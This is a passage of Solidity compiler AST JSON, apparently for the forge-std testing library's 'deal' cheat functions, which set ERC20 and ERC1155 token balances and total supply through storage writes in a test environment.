memory)"}},"id":5889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27484:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"27457:83:3"},{"assignments":[5892],"declarations":[{"constant":false,"id":5892,"mutability":"mutable","name":"prevBal","nameLocation":"27558:7:3","nodeType":"VariableDeclaration","scope":5971,"src":"27550:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5891,"name":"uint256","nodeType":"ElementaryTypeName","src":"27550:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5900,"initialValue":{"arguments":[{"id":5895,"name":"balData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5881,"src":"27579:7:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":5897,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"27589:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5896,"name":"uint256","nodeType":"ElementaryTypeName","src":"27589:7:3","typeDescriptions":{}}}],"id":5898,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"27588:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5893,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27568:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5894,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27572:6:3","memberName":"decode","nodeType":"MemberAccess","src":"27568:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":5899,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27568:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"27550:48:3"},{"expression":{"arguments":[{"id":5913,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"27701:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":5910,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5873,"src":"27683:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"hexValue":"30783730613038323331","id":5907,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27662:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"}],"expression":{"arguments":[{"id":5904,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"27651:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5901,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"27635:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":5903,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27644:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"27635:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":5905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5906,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27658:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"27635:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":5908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5909,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27674:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"27635:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":5911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5912,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27687:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"27635:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":5914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:71:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5915,"nodeType":"ExpressionStatement","src":"27635:71:3"},{"condition":{"id":5916,"name":"adjust","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5877,"src":"27752:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5970,"nodeType":"IfStatement","src":"27748:414:3","trueBody":{"id":5969,"nodeType":"Block","src":"27760:402:3","statements":[{"assignments":[null,5918],"declarations":[null,{"constant":false,"id":5918,"mutability":"mutable","name":"totSupData","nameLocation":"27790:10:3","nodeType":"VariableDeclaration","scope":5969,"src":"27777:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5917,"name":"bytes","nodeType":"ElementaryTypeName","src":"27777:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5926,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783138313630646464","id":5923,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27844:10:3","typeDescriptions":{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"},"value":"0x18160ddd"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"}],"expression":{"id":5921,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27821:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27825:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"27821:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":5924,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27821:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5919,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"27804:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5920,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"27810:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"27804:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":5925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27804:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"27774:82:3"},{"assignments":[5928],"declarations":[{"constant":false,"id":5928,"mutability":"mutable","name":"totSup","nameLocation":"27878:6:3","nodeType":"VariableDeclaration","scope":5969,"src":"27870:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5927,"name":"uint256","nodeType":"ElementaryTypeName","src":"27870:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5936,"initialValue":{"arguments":[{"id":5931,"name":"totSupData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5918,"src":"27898:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":5933,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"27911:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5932,"name":"uint256","nodeType":"ElementaryTypeName","src":"27911:7:3","typeDescriptions":{}}}],"id":5934,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"27910:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5929,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27887:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5930,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27891:6:3","memberName":"decode","nodeType":"MemberAccess","src":"27887:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":5935,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27887:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"27870:50:3"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5939,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5937,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"27938:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":5938,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5892,"src":"27945:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"27938:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":5955,"nodeType":"Block","src":"28019:59:3","statements":[{"expression":{"id":5953,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5948,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5928,"src":"28037:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5951,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5949,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"28048:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":5950,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5892,"src":"28055:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"28048:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":5952,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"28047:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"28037:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5954,"nodeType":"ExpressionStatement","src":"28037:26:3"}]},"id":5956,"nodeType":"IfStatement","src":"27934:144:3","trueBody":{"id":5947,"nodeType":"Block","src":"27954:59:3","statements":[{"expression":{"id":5945,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5940,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5928,"src":"27972:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5943,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5941,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5892,"src":"27983:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":5942,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"27993:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"27983:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":5944,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"27982:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"27972:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5946,"nodeType":"ExpressionStatement","src":"27972:26:3"}]}},{"expression":{"arguments":[{"id":5966,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5928,"src":"28144:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"hexValue":"30783138313630646464","id":5963,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28118:10:3","typeDescriptions":{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"},"value":"0x18160ddd"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"}],"expression":{"arguments":[{"id":5960,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"28107:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5957,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"28091:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":5959,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28100:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"28091:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":5961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28091:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5962,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28114:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"28091:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":5964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28091:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5965,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28130:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"28091:52:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":5967,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28091:60:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5968,"nodeType":"ExpressionStatement","src":"28091:60:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"deal","nameLocation":"27340:4:3","parameters":{"id":5878,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5871,"mutability":"mutable","name":"token","nameLocation":"27353:5:3","nodeType":"VariableDeclaration","scope":5972,"src":"27345:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5870,"name":"address","nodeType":"ElementaryTypeName","src":"27345:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5873,"mutability":"mutable","name":"to","nameLocation":"27368:2:3","nodeType":"VariableDeclaration","scope":5972,"src":"27360:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5872,"name":"address","nodeType":"ElementaryTypeName","src":"27360:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5875,"mutability":"mutable","name":"give","nameLocation":"27380:4:3","nodeType":"VariableDeclaration","scope":5972,"src":"27372:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5874,"name":"uint256","nodeType":"ElementaryTypeName","src":"27372:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5877,"mutability":"mutable","name":"adjust","nameLocation":"27391:6:3","nodeType":"VariableDeclaration","scope":5972,"src":"27386:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5876,"name":"bool","nodeType":"ElementaryTypeName","src":"27386:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27344:54:3"},"returnParameters":{"id":5879,"nodeType":"ParameterList","parameters":[],"src":"27416:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6093,"nodeType":"FunctionDefinition","src":"28174:1070:3","nodes":[],"body":{"id":6092,"nodeType":"Block","src":"28278:966:3","nodes":[],"statements":[{"assignments":[null,5986],"declarations":[null,{"constant":false,"id":5986,"mutability":"mutable","name":"balData","nameLocation":"28335:7:3","nodeType":"VariableDeclaration","scope":6092,"src":"28322:20:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5985,"name":"bytes","nodeType":"ElementaryTypeName","src":"28322:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5996,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783030666464353865","id":5991,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28386:10:3","typeDescriptions":{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"},"value":"0x00fdd58e"},{"id":5992,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5976,"src":"28398:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5993,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"28402:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5989,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28363:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5990,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28367:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"28363:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":5994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28363:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5987,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"28346:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5988,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"28352:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"28346:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":5995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28346:60:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"28319:87:3"},{"assignments":[5998],"declarations":[{"constant":false,"id":5998,"mutability":"mutable","name":"prevBal","nameLocation":"28424:7:3","nodeType":"VariableDeclaration","scope":6092,"src":"28416:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5997,"name":"uint256","nodeType":"ElementaryTypeName","src":"28416:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6006,"initialValue":{"arguments":[{"id":6001,"name":"balData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5986,"src":"28445:7:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6003,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"28455:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6002,"name":"uint256","nodeType":"ElementaryTypeName","src":"28455:7:3","typeDescriptions":{}}}],"id":6004,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"28454:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5999,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28434:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6000,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28438:6:3","memberName":"decode","nodeType":"MemberAccess","src":"28434:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28434:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"28416:48:3"},{"expression":{"arguments":[{"id":6022,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"28580:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6019,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"28562:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6016,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5976,"src":"28549:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"hexValue":"30783030666464353865","id":6013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28528:10:3","typeDescriptions":{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 16635278"},"value":"0x00fdd58e"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_16635278_by_1","typeString":"int_const 